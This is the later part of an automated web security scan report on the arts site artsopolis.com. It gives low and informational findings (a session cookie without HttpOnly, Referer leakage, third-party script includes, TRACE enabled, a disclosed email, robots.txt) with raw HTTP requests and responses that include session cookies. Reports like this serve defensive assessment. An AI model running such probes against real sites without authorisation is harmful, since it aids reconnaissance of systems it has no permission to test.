Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; path=/
Vary: Accept-Encoding
Content-Length: 104414
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...

2.4. http://www.artsopolis.com/error/page/c2l0ZXMvYXJ0c29wb2xpcy5jb20vY3NzL2N1c3RvbS8lN0JjYXRpbWclN0Q=  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.artsopolis.com
Path:   /error/page/c2l0ZXMvYXJ0c29wb2xpcy5jb20vY3NzL2N1c3RvbS8lN0JjYXRpbWclN0Q=

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /error/page/c2l0ZXMvYXJ0c29wb2xpcy5jb20vY3NzL2N1c3RvbS8lN0JjYXRpbWclN0Q= HTTP/1.1
Host: www.artsopolis.com
Proxy-Connection: keep-alive
Referer: http://www.artsopolis.com/search/results
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _fjtad6=0:2T3T4T1T5T6; _fjpvnum1=1; _fjpermvid1=1315269816086-5666640251874924; _fjvid1=71faf8dbbfe4e8d3775a077aabf106e38fea64d2cca64ba8; kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; __utma=169597809.80437893.1315269806.1315269806.1315269806.1; __utmb=169597809.3.10.1315269806; __utmc=169597809; __utmz=169597809.1315269806.1.1.utmgclid=CN3xuOLuhqsCFeUZQgodOkofzw|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=music

Response

HTTP/1.1 302 Found
Date: Mon, 05 Sep 2011 19:44:14 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; path=/
Location: http://www.artsopolis.com/
Vary: Accept-Encoding
Content-Length: 94
Content-Type: text/html; charset=UTF-8

<h1>302 - Found</h1><p><a href="http://www.artsopolis.com/">http://www.artsopolis.com/</a></p>

2.5. http://www.artsopolis.com/search/results  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.artsopolis.com
Path:   /search/results

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

POST /search/results HTTP/1.1
Host: www.artsopolis.com
Proxy-Connection: keep-alive
Referer: http://www.artsopolis.com/categories/index/3/0?gclid=CN3xuOLuhqsCFeUZQgodOkofzw
Content-Length: 79
Cache-Control: max-age=0
Origin: http://www.artsopolis.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; _fjtad2=1; _fjtad6=0:2T3T4T1T5T6; _fjpvnum1=1; _fjpermvid1=1315269816086-5666640251874924; __utma=169597809.80437893.1315269806.1315269806.1315269806.1; __utmb=169597809.2.10.1315269806; __utmc=169597809; __utmz=169597809.1315269806.1.1.utmgclid=CN3xuOLuhqsCFeUZQgodOkofzw|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=music; _fjvid1=71faf8dbbfe4e8d3775a077aabf106e38fea64d2cca64ba8

submitted_search=true&search_type=keyword&item_type=events&keywords=xss&x=0&y=0

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:44:11 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; path=/
Vary: Accept-Encoding
Content-Length: 36696
Content-Type: text/html; charset=UTF-8

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...

3. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.artsopolis.com
Path:   /categories/index/3/0

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /categories/index/3/0?gclid=CN3xuOLuhqsCFeUZQgodOkofzw HTTP/1.1
Host: www.artsopolis.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=music
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:43:22 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; path=/
Vary: Accept-Encoding
Content-Length: 133285
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<li><a href="http://www.discoversmc.com/" >Discover San Mateo Co.</a>
...[SNIP]...
<li><a href="http://www.youtube.com/artsopolis" >On YouTube</a>
...[SNIP]...
<li class="connect_button"><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.artsopolis.com/categories/index/3/0&amp;send=false&amp;layout=button_count&amp;width=47&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:47px; height:21px;" allowTransparency="true"></iframe></li></li><li><a href="http://twitter.com/share" class="twitter-share-button" data-count="none">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</ul><script type="text/javascript" src="http://s7.addthis.com/js/152/addthis_widget.js"></script>
...[SNIP]...
<li><a href="http://tickets.foxrwc.com/" class="buy_tickets">Buy tickets</a>
...[SNIP]...
<li><a href="https://webreg.pjcc.org/econnect/Activities/ActivitiesDetails.asp?aid=1871" class="buy_tickets">Buy tickets</a>
...[SNIP]...
<li><a href="http://www.moroccosrestaurant.com/san-jose/reservations.html" class="buy_tickets">Buy tickets</a>
...[SNIP]...
<li><a href="http://www.moroccosrestaurant.com/mountain-view/reservations.html" class="buy_tickets">Buy tickets</a>
...[SNIP]...
<li><a href="http://www.westcoastsongwriters.org" class="buy_tickets">Buy tickets</a>
...[SNIP]...
<p><iframe frameborder="0" scrolling="no" style="border: medium none; overflow: hidden; width: 625px; height: 260px;" allowtransparency="true" src="http://www.facebook.com/plugins/likebox.php?id=171894581703&amp;width=625&amp;height=260&amp;connections=22&amp;stream=false&amp;header=false"></iframe>
...[SNIP]...
<ul> <a href="http://www.facebook.com/pages/Artsopolis/171894581703"><img width="35" height="30" border="0" alt="" src="/sites/artsopolis.com/images/local/facebook2_icon.jpg" class="small_image" /></a> <a href="http://twitter.com/#!/Artsopolis"><img width="35" height="30" border="0" alt="" src="/sites/artsopolis.com/images/local/twitter2_icon.jpg" class="small_image" />
...[SNIP]...
</a> <a href="http://www.youtube.com/user/artsopolis"><img width="35" height="30" border="0" alt="" src="/sites/artsopolis.com/images/local/youtube2_icon.jpg" class="small_image" />
...[SNIP]...
<li id="sidecolumnitem_6837" class="borderless" >
<script src="http://widgets.twimg.com/j/2/widget.js"></script>
...[SNIP]...
<p style="text-align: center;">&nbsp; <iframe width="278" height="269" frameborder="0" allowfullscreen="" src="http://www.youtube.com/embed/f4bwNzMakOo?rel=0"></iframe>
...[SNIP]...
<li id="sidecolumnitem_6843" class="borderless" >
<script type="text/javascript" src="http://feedjit.com/serve/?vv=955&amp;tft=3&amp;dd=0&amp;wid=dfaac302c8cf9163&amp;pid=0&amp;proid=0&amp;bc=FFFFFF&amp;tc=545454&amp;brd1=CCCCCC&amp;lnk=6B80C2&amp;hc=878787&amp;hfc=F2EFF2&amp;btn=FFFFFF&amp;ww=292&amp;wne=5&amp;wh=Live+Traffic+Feed&amp;hl=0&amp;hlnks=0&amp;hfce=0&amp;srefs=0&amp;hbars=0"></script><noscript><a href="http://feedjit.com/">Feedjit Live Blog Stats</a>
...[SNIP]...
<p style="text-align: center;"><a href="http://www.knightfdn.org/"><img height="45" border="0" align="middle" width="150" src="/sites/artsopolis.com/images/local/footer_logo_knight.jpg" alt="John S. and James L. Knight Foundation" /></a>&nbsp;&nbsp;&nbsp; <a href="http://www.hewlett.org/"><img height="46" border="0" align="middle" width="120" src="/sites/artsopolis.com/images/local/footer_logo_hewlett.jpg" alt="The William and Flora Hewlett Foundation" /></a>&nbsp;&nbsp;&nbsp; <a href="http://www.packard.org/"><img height="48" border="0" align="middle" width="120" src="/sites/artsopolis.com/images/local/david-lucille-packard-logo.jpg" alt="David and Lucille Packard Foundation" /></a>&nbsp;&nbsp;&nbsp; <a href="http://www.adobe.com/"><img height="75" border="0" align="middle" width="60" src="/sites/artsopolis.com/images/local/footer_logo_adobe.jpg" alt="Adobe" /></a>&nbsp; <a href="http://www.amat.com/"><img height="70" border="0" align="middle" width="150" src="/sites/artsopolis.com/images/local/footer_logo_applied.jpg" alt="Applied Materials" /></a>&nbsp;&nbsp;&nbsp; <a href="http://www.nea.gov/"><img height="78" border="0" align="middle" width="131" src="/sites/artsopolis.com/images/local/art-works.jpg" alt="National Endowment for the Arts" />
...[SNIP]...
<p style="text-align: center;">&copy; 2010 - <a href="http://www.artscouncil.org">Arts Council Silicon Valley</a>
...[SNIP]...
<p align="center"><iframe frameborder="0" style="width: 940px; height: 120px;" src="http://www.artsopolisnetwork.com/images/network_list.html" name="e_widget_iframe" id="e_widget_iframe"></iframe>
...[SNIP]...

4. Cross-domain script include  previous  next
There are 4 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


4.1. http://www.artsopolis.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.artsopolis.com
Path:   /

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET / HTTP/1.1
Host: www.artsopolis.com
Proxy-Connection: keep-alive
Referer: http://www.artsopolis.com/search/results
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=169597809.80437893.1315269806.1315269806.1315269806.1; __utmb=169597809.3.10.1315269806; __utmc=169597809; __utmz=169597809.1315269806.1.1.utmgclid=CN3xuOLuhqsCFeUZQgodOkofzw|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=music; kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; _fjdet1=det; _fjtad2=1; _fjtad6=1:2T3T4T1T5T6; _fjpvnum1=2; _fjvid1=71faf8dbbfe4e8d3775a077aabf106e38fea64d2cca64ba8; _fjpermvid1=1315269816086-5666640251874924

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:44:15 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; path=/
Vary: Accept-Encoding
Content-Length: 39761
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
<li id="sidecolumnitem_6837" class="borderless" >
<script src="http://widgets.twimg.com/j/2/widget.js"></script>
...[SNIP]...
<li id="sidecolumnitem_6843" class="borderless" >
<script type="text/javascript" src="http://feedjit.com/serve/?vv=955&amp;tft=3&amp;dd=0&amp;wid=dfaac302c8cf9163&amp;pid=0&amp;proid=0&amp;bc=FFFFFF&amp;tc=545454&amp;brd1=CCCCCC&amp;lnk=6B80C2&amp;hc=878787&amp;hfc=F2EFF2&amp;btn=FFFFFF&amp;ww=292&amp;wne=5&amp;wh=Live+Traffic+Feed&amp;hl=0&amp;hlnks=0&amp;hfce=0&amp;srefs=0&amp;hbars=0"></script>
...[SNIP]...

4.2. http://www.artsopolis.com/categories/index/3/0  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.artsopolis.com
Path:   /categories/index/3/0

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /categories/index/3/0?gclid=CN3xuOLuhqsCFeUZQgodOkofzw HTTP/1.1
Host: www.artsopolis.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=music
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:43:22 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; path=/
Vary: Accept-Encoding
Content-Length: 133285
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</ul><script type="text/javascript" src="http://s7.addthis.com/js/152/addthis_widget.js"></script>
...[SNIP]...
<li id="sidecolumnitem_6837" class="borderless" >
<script src="http://widgets.twimg.com/j/2/widget.js"></script>
...[SNIP]...
<li id="sidecolumnitem_6843" class="borderless" >
<script type="text/javascript" src="http://feedjit.com/serve/?vv=955&amp;tft=3&amp;dd=0&amp;wid=dfaac302c8cf9163&amp;pid=0&amp;proid=0&amp;bc=FFFFFF&amp;tc=545454&amp;brd1=CCCCCC&amp;lnk=6B80C2&amp;hc=878787&amp;hfc=F2EFF2&amp;btn=FFFFFF&amp;ww=292&amp;wne=5&amp;wh=Live+Traffic+Feed&amp;hl=0&amp;hlnks=0&amp;hfce=0&amp;srefs=0&amp;hbars=0"></script>
...[SNIP]...

4.3. http://www.artsopolis.com/categories/index/8/0  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.artsopolis.com
Path:   /categories/index/8/0

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /categories/index/8/0 HTTP/1.1
Host: www.artsopolis.com
Proxy-Connection: keep-alive
Referer: http://www.artsopolis.com/search/results
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _fjtad6=1:2T3T4T1T5T6; _fjpvnum1=2; _fjvid1=71faf8dbbfe4e8d3775a077aabf106e38fea64d2cca64ba8; _fjpermvid1=1315269816086-5666640251874924; __utma=169597809.80437893.1315269806.1315269806.1315269806.1; __utmb=169597809.4.10.1315269806; __utmc=169597809; __utmz=169597809.1315269806.1.1.utmgclid=CN3xuOLuhqsCFeUZQgodOkofzw|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=music; kohanasession=c13f5c4ac2d2c8cc4d131192427ded59

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:47:30 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; path=/
Vary: Accept-Encoding
Content-Length: 104414
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</ul><script type="text/javascript" src="http://s7.addthis.com/js/152/addthis_widget.js"></script>
...[SNIP]...
<li id="sidecolumnitem_6837" class="borderless" >
<script src="http://widgets.twimg.com/j/2/widget.js"></script>
...[SNIP]...
<li id="sidecolumnitem_6843" class="borderless" >
<script type="text/javascript" src="http://feedjit.com/serve/?vv=955&amp;tft=3&amp;dd=0&amp;wid=dfaac302c8cf9163&amp;pid=0&amp;proid=0&amp;bc=FFFFFF&amp;tc=545454&amp;brd1=CCCCCC&amp;lnk=6B80C2&amp;hc=878787&amp;hfc=F2EFF2&amp;btn=FFFFFF&amp;ww=292&amp;wne=5&amp;wh=Live+Traffic+Feed&amp;hl=0&amp;hlnks=0&amp;hfce=0&amp;srefs=0&amp;hbars=0"></script>
...[SNIP]...

4.4. http://www.artsopolis.com/search/results  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.artsopolis.com
Path:   /search/results

Issue detail

The response dynamically includes the following scripts from other domains:

Request

POST /search/results HTTP/1.1
Host: www.artsopolis.com
Proxy-Connection: keep-alive
Referer: http://www.artsopolis.com/categories/index/3/0?gclid=CN3xuOLuhqsCFeUZQgodOkofzw
Content-Length: 79
Cache-Control: max-age=0
Origin: http://www.artsopolis.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; _fjtad2=1; _fjtad6=0:2T3T4T1T5T6; _fjpvnum1=1; _fjpermvid1=1315269816086-5666640251874924; __utma=169597809.80437893.1315269806.1315269806.1315269806.1; __utmb=169597809.2.10.1315269806; __utmc=169597809; __utmz=169597809.1315269806.1.1.utmgclid=CN3xuOLuhqsCFeUZQgodOkofzw|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=music; _fjvid1=71faf8dbbfe4e8d3775a077aabf106e38fea64d2cca64ba8

submitted_search=true&search_type=keyword&item_type=events&keywords=xss&x=0&y=0

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:44:11 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; path=/
Vary: Accept-Encoding
Content-Length: 36696
Content-Type: text/html; charset=UTF-8

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</ul><script type="text/javascript" src="http://s7.addthis.com/js/152/addthis_widget.js"></script>
...[SNIP]...
<li id="sidecolumnitem_6837" class="borderless" >
<script src="http://widgets.twimg.com/j/2/widget.js"></script>
...[SNIP]...
<li id="sidecolumnitem_6843" class="borderless" >
<script type="text/javascript" src="http://feedjit.com/serve/?vv=955&amp;tft=3&amp;dd=0&amp;wid=dfaac302c8cf9163&amp;pid=0&amp;proid=0&amp;bc=FFFFFF&amp;tc=545454&amp;brd1=CCCCCC&amp;lnk=6B80C2&amp;hc=878787&amp;hfc=F2EFF2&amp;btn=FFFFFF&amp;ww=292&amp;wne=5&amp;wh=Live+Traffic+Feed&amp;hl=0&amp;hlnks=0&amp;hfce=0&amp;srefs=0&amp;hbars=0"></script>
...[SNIP]...

5. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.artsopolis.com
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: www.artsopolis.com
Cookie: 765e7468569cd866

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:43:23 GMT
Server: Apache/2
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.artsopolis.com
Cookie: 765e7468569cd866; kohanasession=c13f5c4ac2d2c8cc4d131192427ded59; fbcsrf_248056855219980=6700ff773cd215b1d68a120607774b1e


6. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.artsopolis.com
Path:   /js/bt-0.9.5-rc1/other_libs/jquery.hoverIntent.minified.js

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /js/bt-0.9.5-rc1/other_libs/jquery.hoverIntent.minified.js HTTP/1.1
Host: www.artsopolis.com
Proxy-Connection: keep-alive
Referer: http://www.artsopolis.com/categories/index/3/0?gclid=CN3xuOLuhqsCFeUZQgodOkofzw
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kohanasession=c13f5c4ac2d2c8cc4d131192427ded59

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:43:23 GMT
Server: Apache/2
Last-Modified: Thu, 06 Aug 2009 11:57:47 GMT
ETag: "153aac-649-47077d3ff84c0"
Accept-Ranges: bytes
Cache-Control: max-age=432000
Expires: Sat, 10 Sep 2011 19:43:23 GMT
Vary: Accept-Encoding
Content-Length: 1609
Content-Type: application/javascript

.../**
* hoverIntent r5 // 2007.03.27 // jQuery 1.1.2+
* <http://cherne.net/brian/resources/jquery.hoverIntent.html>
*
* @param f onMouseOver function || An object with configuration options
* @par
...[SNIP]...
<brian@cherne.net>
...[SNIP]...

7. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.artsopolis.com
Path:   /categories/index/3/0

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.artsopolis.com

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:43:23 GMT
Server: Apache/2
Last-Modified: Tue, 02 Aug 2011 00:58:18 GMT
ETag: "2ddd63-b0-4a97b3e4abe80"
Accept-Ranges: bytes
Content-Length: 176
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

User-agent: zbot
Disallow: /

User-agent: *
Disallow: /feeds/
Disallow: /search/
Disallow: /advanced_search/
Disallow: /member/add_bookmark/
Disallow: /submit/
Crawl-delay: 10

Report generated by XSS.CX at Mon Sep 05 19:06:54 GMT-06:00 2011.